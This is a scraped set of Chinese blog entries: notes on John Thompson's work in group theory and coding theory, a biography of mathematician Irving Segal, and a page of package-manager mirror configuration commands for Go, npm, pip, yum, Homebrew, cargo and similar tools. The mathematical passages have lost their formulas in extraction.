theory）深度结合，建立了一个刚性准则。 刚性（rigid）：设 为具有平凡中心的有限群。令 为 中的 个共轭类（conjugate class）。若满足三个条件： 存在元素 使得它们的乘积为单位元，即 ； 由这些元素生成，即 ； 满足上述条件的组 在 的同时共轭作用下恰好构成一个单一的轨道； 则称共轭类组 是刚性的。 定理（Thompson, 1984）：如果一个有限群 有一个刚性组，那么它通常可以作为 的一个分圆扩张（cyclotomic extension）上的 Galois 群来实现。（更精确地说，是在由 的不可约特征在共轭类 上的取值所生成的 的分圆扩张上。） 这一结果可用于证明许多有限单群（包括魔群（monster group））都是 扩张的 Galois 群。魔群可由阶为 2、3、29 的元素组成的三元组生成。所有这样的三元组都是共轭的。 五、魔群月光猜想（Monstrous moonshine conjecture）与 McKay-Thompson 级数1978 年，数学家 John McKay 观察到了一个令人极其费解的数值巧合：魔群（monster group） 的最小非平凡不可约表示的维数 与著名的椭圆模函数（elliptic modular function） - 不变量 的第一个 Fourier 系数 之间存在着精确的关系: 。随后，其他系数也展现出类似的求和特性。 椭圆模函数（elliptic modular function） - 不变量 ： 级数展开为（ ）： 考虑 的非平凡不可约表示的维数： 我们观察到 McKay 将这一现象视为证据，表明魔群 可能存在一个自然生成的无限维分次表示，其次维数由 的系数给出，并且其低阶部分按上述方式分解为不可约表示。 Thompson 得知这一观察结果后提出，既然分次维数只是单位元的分次迹（graded trace），那么 中非平凡元素 在此类表示上的分次迹可能也同样值得研究。 McKay-Thompson 级数定义为： 其中 为分级的魔群表示模。康威（John Horton Conway，1937-2020）和他的学生诺顿（Simon Phillips Norton，1952-2019）计算了该级数低阶项，并发现它们似乎都是 Hauptmodul（principal modular function）的展开式。 基于计算，他们列出了一份 Hauptmoduln 清单，并猜想存在魔群 的一个无限维分次表示，其次迹 恰是清单上那些函数的展开式。 这一猜想被称为魔群月光猜想（monstrous moonshine conjecture）。博赫兹（Richard Ewen Borcherds，1959-）通过引入顶点算子代数（vertex operator algebra）和广义 Kac-Moody Lie 代数（generalized Kac-Moody Lie algebra）于 1992 年彻底证明了该猜想，并获得 1998 年的 Fields 奖。 六、10 阶射影平面在组合几何中，一个 阶射影平面是一个由有限个点和有限条直线组成的几何体系，满足： 每条直线恰好包含 个点； 每个点恰好在 条直线上； 任意两条不同的直线相交于唯一的一点； 任意两个不同的点决定唯一的直线。 一个 阶射影平面有 个点和 条直线。 当阶 为素数或素数幂时，人们可以通过有限域轻易构造出相应的射影平面。 第一个非素数幂的整数是 ，而塔里（Gaston Tarry，1843-1913）在 1900 年便已证明 6 阶射影平面不存在。布鲁克（Richard Hubert Bruck，1914-1991）和赖瑟（Herbert John Ryser，1923-1985）在 1949 年证明了：当 形如 或 且不能写作两个平方数的和时，则不存在 阶射影平面。 下一个极具挑战性的情形便是 。如果 10 阶射影平面存在，它将是一个包含 111 个点和 111 条直线的庞大对称结构，每条直线包含 11 个点。 多年来，直接通过组合构造或几何穷举来寻找这 111 条直线的尝试均告失败。 1970 年阿斯穆斯（Edward Ferdinand Assmus, Jr., 1931-1998）和马特森（H. F. Mattson）将这一问题转化为代数编码理论问题。具体而言，假设存在这样一个 10 阶射影平面，其关联矩阵 将是一个 的、仅由 和 组成的方阵。他们考察了由矩阵 的行向量在二元域 上张成的线性子空间，它可以看成一个码 。他们深入研究了该编码的重量计数器 ，证明了只用计算 、 、 便能完全确定 的码字重量分布。 1973 年，Thompson 与麦克威廉姆斯（Florence Jessie Collinson MacWilliams，1917-1990）和斯隆（Neil James Alexander Sloane，1939-）合作，在《Journal of Combinatorial Theory, Series A》上发表了论文《关于阶为 10 的射影平面的存在性》（On the existence of a projective plane of order 10），证明了 。 林永康（Clement Wing Hong Lam）、蒂尔（L. Thiel）和斯维尔茨（S. Swiercz）在 1980 年代接过了接力棒，利用 CRAY - 1A 超级计算机对这些特定配置进行了大规模的穷举计算。 他们最终在 1989 年证明了所需的特定码字并不存在，从而宣告了 10 阶有限射影平面是不存在的。这一成就也成为了早期计算机辅助证明的经典案例。"},{"title":"","date":"2026-05-12T01:07:00.000Z","updated":"2026-05-12T01:10:00.000Z","comments":true,"path":"notes/person/15.html","permalink":"https://blog.mhuig.top/notes/person/15","excerpt":"","text":"Irving Segal Irving Segal 生平欧文・埃兹拉・西格尔（Irving Ezra Segal，1918-1998）出生在纽约 Bronx 区，他父母 Aaron Segal 和 Fannie Weinstein 是犹太人。在 1934 年，他以 15 岁之龄从特伦顿高中毕业，并在同年晚些时候进入普林斯顿大学。 1937 年，他从普林斯顿大学获得数学学士学位，并荣获 George B Covington 数学奖，随后在希勒（Einar Carl Hille，1894-1980）的指导下进入耶鲁大学攻读博士学位。 Segal 于 1940 年向耶鲁大学提交了他的论文《某些函数类的环性质》（Ring properties of certain classes of functions），并在同年 6 月获得博士学位。也是在 1940 年，他发表了第一篇论文。这是一篇仅有一页的短文，题《对称群的自同构》（The automorphisms of the symmetric group），其中他给出了一个简易证明：当 时， 个元素的对称群 的自同构群同构于 。 注意到， 时有 而当 时 1941 年，Segal 被任命为哈佛大学的数学讲师，但当美国加入第二次世界大战后，他开始从事与战争相关的工作：首先于 1941 年到 1943 年在普林斯顿工作，随后于 1943 年到 1945 年在马里兰州的阿伯丁试验场（Aberdeen Proving Ground）从事弹道学研究。在此期间，Segal 以美国陆军研究人员的身份工作。 由于战争工作的缘故，他直到 1947 年才发表了博士论文的详细成果，刊登在论文《局部紧群的群代数》（The group algebra of a locally compact group）中。 然而，早在 1941 年 6 月，他就已向《Proceedings of the National Academy of Sciences》提交了论文《局部紧群的群环 I》（The group ring of a locally compact group I）： …… 其中给出了对 “一般局部紧群的群环” 的定义及其基本性质。……Segal 研究这一群环的主要目标之一，是为 Wiener-Tauberian 理论、几乎周期函数理论（theory of almost periodic function）以及局部紧群上的调和分析提供一个足够普遍的研究环境。 1945 年二战结束后，Segal 被任命为 Oswald Veblen 在位于普林斯顿的高等研究院（IAS）的助手。他在普林斯顿工作到 1948 年，最后一年得到了 Guggenheim Fellowship 的资助。 1948 年，他前往芝加哥大学担任数学助理教授。1953 年，他晋升为芝加哥大学的数学副教授，并在 1954-55 学年作为访问副教授在纽约的哥伦比亚大学度过。 1957 年，Segal 成为芝加哥大学的正教授；三年后，他前往麻省理工学院担任数学教授。 Segal 后来对数学的多个不同领域作出了贡献，但所有这些都源于量子理论的数学需求。例如，他在无穷维积分理论方面的卓越工作。此外，基于他早期对任意局部紧群表示的研究，他继续考察了与量子力学有关的群表示，即关于对易或反对易关系的对称性群。 格罗斯（Leonard Gross）是 Segal 的一位博士生，1958 年获得博士学位。他提到了 Segal 的研究动力：…… 当我回到耶鲁大学后，他给我写信，提出了一些与我研究领域紧密相关的有趣问题。回想起来，我意识到，他这样做不仅是出于为 “学术后代” 提供充分思想养料的责任感，更是因为他那种专注于解决数学物理重大问题（即相互作用量子场存在性）的坚定决心。 尽管在许多数学家看来，他的大部分工作似乎只是由通常的审美考量驱动（当然，他思想本身的内在美也足以证明这些工作的价值），但 Segal 几年前曾告诉我，他的所有研究，不论哪方面，都意在以某种方式理解量子物理。 在学术生涯的后期，Segal 的主要研究目标转向了对宇宙学的研究。 他在 1976 年出版的著作《数学宇宙学与河外天文学》（Mathematical cosmology and extragalactic astronomy）中对其计时宇宙学（chronometric cosmology）进行了详细阐述。 他在 1974 年的论文以及该书的前言中写道：“人们普遍接受宇宙膨胀是真实的物理现象，部分原因是看似没有其他可行的红移解释。自从大约半个世纪前发现红移以来，人们又发现了许多新的观测现象，其中微波背景辐射（microwave background radiation）和类星体（quasar）尤其重要而引人注目。尽管如此，似乎很少有人尝试重新构建宇宙学的基础，以一种在科学上更加经济的方式将这些现象统一起来。这或许更多是由于基于膨胀理论（expansion theory）的大量理论研究所带来的惯性，而非由于膨胀理论与观测结果吻合度有多高 —— 事实上，其与观测的契合度相当有限，而且愈发显得模棱两可。” Segal 的理论与大爆炸理论相对立，在他的理论中，哈勃定律（Hubble's law）所描述的宇宙膨胀并不成立。他在 1991 年和 1993 年的论文中讨论了红移（red-shift）数据，并声称这些数据支持他的理论。 1989 年，Segal 从麻省理工学院数学系教授职位退休后，仍继续为他提出的宇宙模型辩护。 正如奥贝尔・戴尼奥（Aubert Daigneault, 1932-）和阿图罗・桑加利（Arturo Sangalli, 1940-）在文献中所写： Segal 从未停止他对膨胀理论的 “讨伐”，有时提出合理的科学论据，有时则是情绪化的猛烈抨击。 在一篇回忆中，约翰・卡洛斯・贝兹（John Carlos Baez，1961-，20 世纪 80 年代曾是 Segal 的博士生）描述了那时的 Segal：他总是穿着得体，一身西装，留着简单干练的山羊胡。他个子不高，但站姿挺拔，言行颇有威严。…… Segal 的办公室既舒适又充满生活气息，堆满了他数十年间积累的各种论文。他有一张沙发，有时会在那里小憩。他还会在办公室里煮咖啡，拒绝去数学系休息室喝那里的咖啡。 他对咖啡极为认真，会在办公室里现磨咖啡豆，只用蒸馏水，并把水烧到一个他经过研究得出的 “最佳温度”（他声称自己做过研究来确定这一最佳温度）。他经常让我用他的电脑，而他则在桌子或打字机旁工作。有时，当他想要证明某个定理时，他会正式地设定一个厨房计时器，并给自己不超过 30 分钟的时间来完成证明。这只是他强调 “务实态度” 重要性的诸多方式之一。 …… 他从不懈怠；周末也常来办公室，他退休后看起来一点也没有放慢脚步。所有认识 Segal 的人都会记得他只会用自己的方式做事。他从不因为别人接受某种做法就盲从。在他所涉猎的各个科学领域里，我多次听到他对相关内容提出严厉的批评。 Segal 的 1963 年著作《相对论物理学中的数学问题》（Mathematical problems of relativistic physics）是他在 1960 年于科罗拉多州博尔德（Boulder, Colorado）举办的应用数学暑期研讨班上所授课程的讲稿结集。他在序言中写道 (dào)，他坚信：…… 量子场论正处于即将被坚实地数学化的边缘，而且实际上，在不久的将来，人们就会认识到，它与在具备群不变微分几何结构的无限维非线性流形上所做的泛函分析理论有着密切的平行关系。 Segal 一直活跃到生命的最后一刻。实际上，他在家附近散步时突然倒下，死于心血管疾病。在其职业生涯中，他共指导了 40 名博士生 —— 其中 15 名就读于芝加哥大学，25 名就读于麻省理工学院。 他曾三次获得古根海姆基金奖（Guggenheim fellowship，分别在 1947 年、1951 年和 1967 年），并于 1981 年获得洪堡奖（Humboldt Award）。 1966 年，他在莫斯科举办的国际数学家大会上作受邀报告；1970 年，他又在尼斯（Nice）举办的国际数学家大会上作报告。1973 年，他当选为美国国家科学院院士。 贡献一、算子代数与局部紧群表示理论在 1941 年的论文《局部紧群的群环，I》（The group ring of a locally compact group, I）中，Segal 给出了一般局部紧群（locally compact group）的 “群环（group ring）” 定义及其基本性质。该定义基于对群上相对于右不变 Haar 测度（right invariant Haar measure）的 - 函数做左卷积（left convolution）而得到。 对于紧群（compact group）或局部紧阿贝尔群（locally compact abelian group），Segal 指出了这个群环的半单性（semisimplicity），并研究了其极大理想结构。 二、“群代数” 的结构（group algebra）Segal 研究群环（group ring）的一大目标，是为 Wiener 的 Tauberian 理论、几乎周期函数理论（theory of almost periodic functions）以及局部紧群上的调和分析（harmonic analysis）提供一个足够普适的环境。 Tauberian 定理是研究在何种条件下，某种求和方法（如 Abel 求和法）的可和性能够推出级数的收敛性。 Tauberian 定理的核心思想是通过附加条件（称为 Tauberian 条件），从弱收敛性推导出强收敛性。 经典的 Tauberian 定理包括： ① 如果级数 通过 Abel 求和法到和 ，且满足 ，则该级数收敛到 。 ② 如果级数 通过 Abel 求和法到和 ，且满足 ，则该级数收敛到 。 Tauberian 条件通常限制级数项的增长速度或振荡行为，常见的条件包括： 或 ，及部分和 的某种限制，如 。 这类定理因数学家阿尔弗雷德・陶伯（Alfred Tauber, 1866-1942）的开创性工作而得名。 在一篇发表于 1944 年的论文中，Segal 发展了部分 Tauberian 理论，考察了一般 Lebesgue 空间中某个 - 函数的平移所生成的线性包（span）与其 -Fourier 变换零点集之间的关系。 在 1947 年初发表的一篇论文《局部紧群的群代数》（The group algebra of a locally compact group）中全面阐述了群环（当时被称为复群代数（complex group algebra））及其在 Tauberian 理论与群上几乎周期函数理论中的应用，主要体现在局部紧阿贝尔群和紧群这两种情形。 在算子理论方面，Segal 也意识到他的工作与 Murray 和 von Neumann 的工作之间的联系。他证明了，任何在希尔伯特空间上有界自伴算子的自伴代数（self-adjoint algebra）都是弱半单（weakly semisimple）的。 三、- 代数正如前文提及，在 1947 年的文章《算子代数的不可约表示》（Irreducible representations of operator algebras）中，Segal 正式给出了 - 代数（ -algebra）的定义。 一个 - 代数是复数域上的 Banach 代数，同时带有一个映射 ，满足以下性质： ① 它是一个对合运算，对于每个 有 ； ② 对于所有 有 ，以及 ； ③ 对于每个复数 和每个 有 ； ④ 对于所有 有 。 他指出：“我们对算子代数的兴趣源于对局部紧群（locally compact group）的群代数（group algebra）的研究，一个群代数与某个自伴算子代数同构。” 与此同时，他对于量子力学及其数学基础的浓厚兴趣也开始显现。 他写道：“我们的结果使得对量子力学某些部分的研究可以更加广泛而严谨……” 在这篇文章里，Segal 定义了 - 代数上的 “态（state）” 与 “纯态（pure state）” 的概念，并给出了如何从一个代数的态来构造该 - 代数的表示（representation）的基本方法。 一个态（state）是范数为 1 的正线性泛函。具体而言它是线性泛函 ，满足以下条件： ① 是正定的，即对于任意 有 。 ② 是归一化的，即 （如果 有单位元）。 它扩展了量子力学中密度矩阵的概念。 纯态（pure state）是指不能表示为其他态的凸组合的态。具体来说，如果 是一个态，且对于任意两个态 和 以及 ，有 ，则必有 。换句话说，纯态是态空间中的极值点。 Segal 指出：“代数 的一个态 是 的某种正规（normal）表示的归一化函数（normalizing function），此方法部分借鉴了 Gelfand 和 Neumark 的工作。” Segal 当时所使用的 “归一化（normalizing）” 和 “正规（normal）” 等术语，后来出现了变化或不再使用。这一过程正是非常重要的 “GNS 构造（Gelfand（Israel Moiseevich Gelfand, 1913-2009）-Naimark（Mark Aronovich Naimark, 1909-1978）-Segal construction）”，在算子代数这一领域中具有基础性地位。 同在这篇文章里，Segal 还定义并证明了无单位元（without a unit）的 - 代数（或 - 代数中的理想）中存在逼近恒等元（approximate identities）；同时，他也定义并证明了 - 代数上的纯态（pure state）的存在，并证明了 - 代数的不可约表示来自这些纯态。 借助 Krein-Millman 定理以及态集在（弱 *）拓扑下的紧性，Segal 证明了一个 - 代数有一个分离元素的纯态族（separating family）。 是 上的一族纯态。如果对于任意两个不同的元素 ，存在一个纯态 ，使得 ，则称 是一个分离元素的纯态族（separating family）。 通过将一个局部紧群与一个 - 代数相关联，从而获得 “群的 - 群代数（ -group algebra）”，Segal 得以从该群代数的每个态构造出一个在某个希尔伯特空间上的酉表示（unitary representation）—— 而从纯态出发则得到不可约酉表示（irreducible unitary representation）。 利用这一构造，Segal 随后给出了 Gelfand-Raikov 定理的最自然证明：该定理说明存在一族能分离元素的不可约酉表示，使其成为局部紧群的一个完备表示族（the existence of a separating family of irreducible unitary representations of locally compact groups）。 四、实 Jordan Banach 代数与量子测量理论在 Postulates for general quantum mechanics 中，Segal 提出了 “一套关于物理系统的公设，并从中推导出量子力学主要一般特征 stationary states（稳态）。” 设 是一个单参数自同构群，表示系统的动力学演化。一个态 是被称为稳态（stationary state），如果对于所有 和所有 有 。换句话说，稳态在动力学演化下保持不变。 他指出：“我们理论中对普通物理学具有重要意义的一个方面在于，一条一般的不确定性原理可以从这些公设推出。” 从本质上讲，Segal 提出并研究了实 Jordan Banach 代数，并为代数中的元素建立了一套谱理论（spectral theory）。 Jordan-Banach 代数是一个复向量空间 ，同时满足以下条件： 1、 是一个 Jordan 代数，即其上定义了一个双线性运算 Jordan 积 ，满足以下性质： 交换性：对于任意 有 。 Jordan 恒等式：对于任意 有 ，其中 。 2、 是一个 Banach 空间，即其上定义了一个范数 ，使得 在该范数下是完备的。 3、范数与 Jordan 积满足相容性条件：对于任意 有 Jordan-Banach 代数在泛函分析中具有重要作用，特别是在研究算子代数和量子力学中的代数结构时。它们提供了一种非结合代数的框架，能够描述某些物理系统的对称性和动力学性质。 与此同时，他也为这类代数引入了态（state）理论。如今，这一研究方向已成为（数学）量子测量理论（(mathematical) quantum measurement theory）中的一个活跃而有趣的领域。当然，von Neumann 工作是 Segal 这篇论文的重要先驱（Segal 也在文中提到这一点）。 文中所探讨的结构在度量（范数，norm）和 - 代数层面上的特征，以及在希尔伯特空间上的表示，都对这方面的研究至关重要。 五、- 代数的理想结构与非交换分析Segal 在《算子代数里的双侧理想》（Two‑sided ideals in operator algebras）中解决了 - 代数理论中的一个基本问题。他证明了：在 - 代数中，任何范数闭（norm‑closed）、双侧（two‑sided）理想都在 - 运算下封闭（也就是说，若其包含 ，便必包含 ）。由此可推知，用该理想作商所得到的商代数仍是一个 - 代数。 尽管论文中并未明确指出，然而 Segal 的论证也同时意味着：一个左（或右）范数闭理想可以由其包含的正元（positive elements）所构成的锥（cone）来生成（作为一个范数闭理想）。 这些论证涉及了非交换分析（noncommutative analysis）中最早也最基本的一些技巧，并为确立逼近恒等元（approximate identities）以及逼近极分解（approximate polar decompositions）的存在性提供了关键技术。 在《抽象积分的非交换扩张》（A non‑commutative extension of abstract integration）中，Segal 将 von Neumann 在有关非交换测度论（non‑commutative measure theory）的研究从因子（factors）推广到了具有任意中心（arbitrary center）的 von Neumann 代数（von Neumann algebras）。 六、“计时宇宙学（chronometric cosmology）”正如前文提及，Segal 在学术生涯后期将主要研究目标转向了宇宙学。Segal 认为宇宙并非在膨胀，红移源于宇宙本身的曲率，而非大爆炸后的时空膨胀。 在 Segal 的时空模型中，洛伦兹群（Lorentz group）及其扩展的庞加莱群（Poincaré group）被视为时空对称性。但若再将爱因斯坦式的时间演化纳入 “共形群（conformal group）”，共形紧化（conformal compactification）会引入封闭类时曲线（closed timelike curves）。为避免时空曲率闭合导致的 “时间倒流” 问题，Segal 设想宇宙的空间部分是一个巨大的三维球面，时间则由一个辅助实直线表示，确保时空不会在自身处闭合，每一点都存在凸性的未来方向。 Segal 回顾并分析了天体红移数据，宣称其与自己提出的理论相符。然而，主流天体物理界对 Segal 的理论并不认可。 其早期形态可追溯至 Einstein 在 1917 年提出的宇宙模型，此模型被认为已遭到反驳或被弃用。"},{"title":"Package Mirror","date":"2022-06-29T06:20:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/package-mirror/index.html","permalink":"https://blog.mhuig.top/notes/package-mirror/","excerpt":"","text":"注意：假如所有的镜像都已经被本地 nexus 私服代理，那么对应的地址为nexus.eryajf.net/repository/***/。(这只是个域名示例，不代表实际可用！) GoConfiguration如果 go 版本用的go1.11或者go1.12，需进行如下配置： export GO111MODULE=onexport GOPROXY=\"http://nexus.eryajf.net/repository/go/\" 如果使用 go1.13以上的版本则可以用如下配置： export GOPROXY=\"http://nexus.eryajf.net/repository/go/\"GONOPROXY=\"gitlab.eryajf.net\"GONOSUMDB=\"gitlab.eryajf.net\"GOPRIVATE=\"gitlab.eryajf.net\"GOSUMDB=\"sum.golang.google.cn\" 关于如上两个版本配置差异，以及配置参数详解可参考：https://wiki.eryajf.net/pages/4941.html Mirrors Aliyun https://mirrors.aliyun.com/goproxy/ Proxy-cn https://goproxy.cn Proxy-io https://proxy.golang.com.cn Baidu https://goproxy.bj.bcebos.com/ Tencent https://mirrors.cloud.tencent.com/go/ HUAWEI https://repo.huaweicloud.com/repository/goproxy/ 其中GOSUMDB在国内可用的两个镜像分别如下： Google https://sum.golang.google.cn/ sumdb-io https://gosum.io/ NpmConfiguration配置npm代理，需进行如下配置： # npm配置$ echo 'registry=http://nexus.eryajf.net/repository/npm' > ~/.npmrc# 查看$ npm config get registryhttp://nexus.eryajf.net/repository/npm# yarn配置$ echo 'registry \"http://nexus.eryajf.net/repository/npm\"' > ~/.yarnrc# 查看$ yarn config get registryhttp://nexus.eryajf.net/repository/npm Mirrors Taobao https://registry.npm.taobao.org但是请注意如下一个消息： 淘宝 npm 域名即将切换 && npmmirror 重构升级：即原来的淘宝 npm 域名将停止解析，因此所有依赖此域名的都需要进行更改。 域名切换规则： http://npm.taobao.org=> http://npmmirror.com http://registry.npm.taobao.org=> http://registry.npmmirror.com HUAWEI https://repo.huaweicloud.com/repository/npm/ Tencent http://mirrors.cloud.tencent.com/npm/ 浙江大学 http://mirrors.zju.edu.cn/npm/ 南京邮电 https://mirrors.njupt.edu.cn/nexus/repository/npm/ npmjs https://registry.npmjs.org PipConfiguration配置Python代理，需进行如下配置： $ mkdir ~/.pip$ cat > ~/.pip/pip.conf << EOF[global]timeout = 60trusted-host = nexus.eryajf.netindex-url = http://nexus.eryajf.net/repository/pypi/simpleEOF 注意：通常在配置文件后边，我们会添加一个simple。 # 简洁配置方式 1pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple# 简洁配置方式 2 pip3 install --upgrade -i https://pypi.tuna.tsinghua.edu.cn/simple yt-dlp Mirrors目前代理外部私仓有： Aliyun http://mirrors.aliyun.com/pypi/ douban http://pypi.douban.com/ 清华 https://pypi.tuna.tsinghua.edu.cn/ 163 https://mirrors.163.com/pypi HUAWEI https://repo.huaweicloud.com/repository/pypi Tencent https://mirrors.cloud.tencent.com/pypi/ 北大 https://mirrors.pku.edu.cn/pypi/ 南阳理工 https://mirror.nyist.edu.cn/pypi/ 大连东软 http://mirrors.neusoft.edu.cn/pypi/web/ 哈尔滨工业大学 https://mirrors.hit.edu.cn/pypi/web/ 上海交通大学 https://mirror.sjtu.edu.cn/pypi/web/simple/ ComposerComposer 是 PHP 的一个依赖管理工具，需要 PHP 5.3.2 以上才能运行。 Configuration配置PHP代理，需进行如下配置： 全局配置（推荐） 所有项目都会使用该镜像地址：composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/ 取消配置：composer config -g --unset repos.packagist 项目配置 仅修改当前工程配置，仅当前工程可使用该镜像地址：composer config repo.packagist composer https://mirrors.aliyun.com/composer/ 取消配置：composer config --unset repos.packagist 参考：https://developer.aliyun.com/composer Mirrors目前代理外部私仓有： Aliyun https://mirrors.aliyun.com/composer/ Tencent https://mirrors.cloud.tencent.com/composer/ HUAWEI https://mirrors.huaweicloud.com/repository/php/ Packagist https://packagist.phpcomposer.com 上海交通 https://packagist.mirrors.sjtug.sjtu.edu.cn RubygemsRubyGems 是 Ruby 的一个包管理器，它提供一个分发 Ruby 程序和库的标准格式，还提供一个管理程序包安装的工具。 Configuration配置Ruby代理，需进行如下配置： # 首先，查看当前源：$ gem sources -l*** CURRENT SOURCES ***https://rubygems.org/# 接着，移除 https://rubygems.org/，并添加国内下载源 https://gems.ruby-china.com/。$ gem sources --remove https://rubygems.org/$ gem sources -a https://gems.ruby-china.com/$ gem sources -l*** CURRENT SOURCES ***https://gems.ruby-china.com/# 请确保只有 gems.ruby-china.com$ gem install rails 参考：https://www.runoob.com/ruby/ruby-rubygems.html Mirrors目前代理外部私仓有： Aliyun https://mirrors.aliyun.com/rubygems/ Tencent https://mirrors.cloud.tencent.com/rubygems/ HUAWEI https://repo.huaweicloud.com/repository/rubygems/ 清华 https://mirrors.tuna.tsinghua.edu.cn/rubygems/ 中科大 https://mirrors.ustc.edu.cn/rubygems/ 北京外国语大学 https://mirrors.bfsu.edu.cn/rubygems/ 哈尔滨工业大学 https://mirrors.hit.edu.cn/rubygems/ MavenConfigurationJava 系的工具版本规范如下： JDK：1.8.0_292 MVN：3.3.9 配置 Maven 代理，参考配置文件： settings.xml Mirrors HUAWEI https://repo.huaweicloud.com/repository/maven/ Maven Central Repository https://repo1.maven.org/maven2/ Aliyun http://maven.aliyun.com/nexus/content/groups/public/ Tencent https://mirrors.cloud.tencent.com/maven/ 南京邮电 https://mirrors.njupt.edu.cn/nexus/repository/maven-central Apache Maven https://repo.maven.apache.org/maven2 https://repository.apache.org/content/groups/snapshots https://repository.apache.org/content/groups/staging/ https://repository.apache.org/content/groups/public/ confluent http://packages.confluent.io/maven/ cloudera http://repo.hortonworks.com/content/repositories/releases jboss https://repository.jboss.org/nexus/content/groups/public Lss233's.Mirror（供 Minecraft 开发使用） http://lss233.littleservice.cn/repositories/minecraft YumConfiguration如果CentOS服务器要接入私服yum源，则清空本地 /etc/yum.repos.d的内容，添加如下内容： $ cat >> /etc/yum.repos.d/nexus.repo << 'EOF'[nexus]name=Nexus Repositorybaseurl=http://nexus.eryajf.net/repository/yum/$releasever/os/$basearch/enabled=1gpgcheck=0[nexus-local]name=Nexus Repositorybaseurl=http://nexus.eryajf.net/repository/eryajf-yum-local/enabled=1gpgcheck=0EOF 然后执行如下命令： yum clean allyum makecache Mirrors目前代理外部源： Aliyun https://mirrors.aliyun.com/centos/ HUAWEI https://repo.huaweicloud.com/centos/ Tencent https://mirrors.cloud.tencent.com/centos/ 北京交通 https://mirror.bjtu.edu.cn/centos/ 东北大学 http://mirror.neu.edu.cn/centos/ 兰州大学 https://mirror.lzu.edu.cn/centos/ 清华 https://mirrors.tuna.tsinghua.edu.cn/centos/ 华中科技大学 https://mirrors.ustc.edu.cn/centos/ 浙江大学 http://mirrors.zju.edu.cn/centos/ souhu http://mirrors.sohu.com/centos/ 163： http://mirrors.163.com/centos/ RemiRemi repository 是包含最新版本 PHP 和 MySQL 包的 Linux 源，由 Remi 提供维护。 官方地址：https://rpms.remirepo.net/ Configuration详情参考：https://wiki.eryajf.net/pages/f35986 yum install -y epel-releaseyum install -y https://mirrors.tuna.tsinghua.edu.cn/remi/enterprise/remi-release-7.rpm Mirrors目前代理外部源： Aliyun https://mirrors.aliyun.com/remi/ HUAWEI https://repo.huaweicloud.com/remi/ 清华 https://mirrors.tuna.tsinghua.edu.cn/remi/ 中科大 https://mirrors.ustc.edu.cn/remi/ 上海交通 http://ftp.sjtu.edu.cn/remi/ 首都在线 http://mirrors.yun-idc.com/remi/ 北京外国语大学 https://mirrors.bfsu.edu.cn/remi/ EpelEPEL 的全称叫 Extra Packages for Enterprise Linux。EPEL 是由 Fedora 社区打造，为 RHEL 及衍生发行版如 CentOS、Scientific Linux 等提供高质量软件包的项目。 官方地址：https://docs.fedoraproject.org/en-US/epel/ Configuration# 备份mv /etc/yum.repos.d/epel.repo /etc/yum.repos.d/epel.repo.backupmv /etc/yum.repos.d/epel-testing.repo /etc/yum.repos.d/epel-testing.repo.backup# 下载wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo Mirrors目前代理外部源： Aliyun https://mirrors.aliyun.com/epel/ Tencent https://mirrors.cloud.tencent.com/epel/ HUAWEI https://repo.huaweicloud.com/epel/ 清华 https://mirrors.tuna.tsinghua.edu.cn/epel/ 中科大 https://mirrors.ustc.edu.cn/epel/ 浙江大学 http://mirrors.zju.edu.cn/epel/ 兰州大学 https://mirror.lzu.edu.cn/epel/ 上海交通 http://ftp.sjtu.edu.cn/epel/ 首都在线 http://mirrors.yun-idc.com/epel/ 大连东软 http://mirrors.neusoft.edu.cn/epel/ 大连理工 http://mirror.dlut.edu.cn/epel/ 南京邮电 http://mirrors.njupt.edu.cn/epel/ 重庆大学 https://mirrors.cqu.edu.cn/epel/ 北京外国语大学 https://mirrors.bfsu.edu.cn/epel/ HomebrewConfiguration如果你使用了 zsh，那么配置方式如下： echo 'export HOMEBREW_BREW_GIT_REMOTE=\"https://mirrors.tuna.tsinghua.edu.cn/git/homebrew/brew.git\"' >> ~/.zshrcecho 'export HOMEBREW_CORE_GIT_REMOTE=\"https://mirrors.tuna.tsinghua.edu.cn/git/homebrew/homebrew-core.git\"' >> ~/.zshrcecho 'export HOMEBREW_BOTTLE_DOMAIN=\"https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles\"' >> ~/.zshrcsource ~/.zshrcbrew update 参考：Homebrew 替换国内镜像源 Mirrors Aliyun https://mirrors.aliyun.com/homebrew/ Tencent https://mirrors.cloud.tencent.com/homebrew/ 清华： https://mirrors.tuna.tsinghua.edu.cn/help/homebrew/ 重庆大学 https://mirrors.cqu.edu.cn/homebrew/ 北京外国语大学 https://mirrors.bfsu.edu.cn/help/homebrew/ cargorust 包管理镜像源 Configuration修改文件~/.cargo/config (没有则新建) [source.crates-io]replace-with = 'rsproxy'[source.rsproxy]registry = \"https://rsproxy.cn/crates.io-index\"[registries.rsproxy]index = \"https://rsproxy.cn/crates.io-index\"[net]git-fetch-with-cli = true Mirrors 字节 https://rsproxy.cn/crates.io-index 中国科学技术大学 git://mirrors.ustc.edu.cn/crates.io-index 清华： https://mirrors.tuna.tsinghua.edu.cn/git/crates.io-index.git 上海交通大学 https://mirrors.sjtug.sjtu.edu.cn/git/crates.io-index 阿里云 https://code.aliyun.com/rustcc/crates.io-index 北京外国语大学 https://mirrors.bfsu.edu.cn/git/crates.io-index.git rustcc 社区 git://crates.rustcc.cn/crates.io-index Software-Mirror还有一些软件，直接通过官方下载比较困难，也整理出方便下载的国内优质镜像。 DockerOfficial https://docs.docker.com/engine/install/ Mirrors Aliyun https://developer.aliyun.com/mirror/docker-ce Tencent https://mirrors.cloud.tencent.com/docker-ce/ HUAWEI https://repo.huaweicloud.com/docker-ce/ 北大 https://mirrors.pku.edu.cn/docker-ce/ 清华 https://mirrors.tuna.tsinghua.edu.cn/docker-ce/ 中科大 https://mirrors.ustc.edu.cn/docker-ce/ 西北农林科技大学 https://mirrors.nwsuaf.edu.cn/docker-ce/ 浙江大学 http://mirrors.zju.edu.cn/docker-ce/ 北京外国语大学 https://mirrors.bfsu.edu.cn/docker-ce/ 哈尔滨工业大学 https://mirrors.hit.edu.cn/docker-ce 上海交通 https://mirror.sjtu.edu.cn/docker-ce/ KubernetesOfficial https://kubernetes.io/releases/download/ Mirrors Aliyun https://developer.aliyun.com/mirror/kubernetes Tencent https://mirrors.cloud.tencent.com/kubernetes/ HUAWEI https://repo.huaweicloud.com/kubernetes/ 北大 https://mirrors.pku.edu.cn/kubernetes/ 清华 https://mirrors.tuna.tsinghua.edu.cn/kubernetes/ 中科大 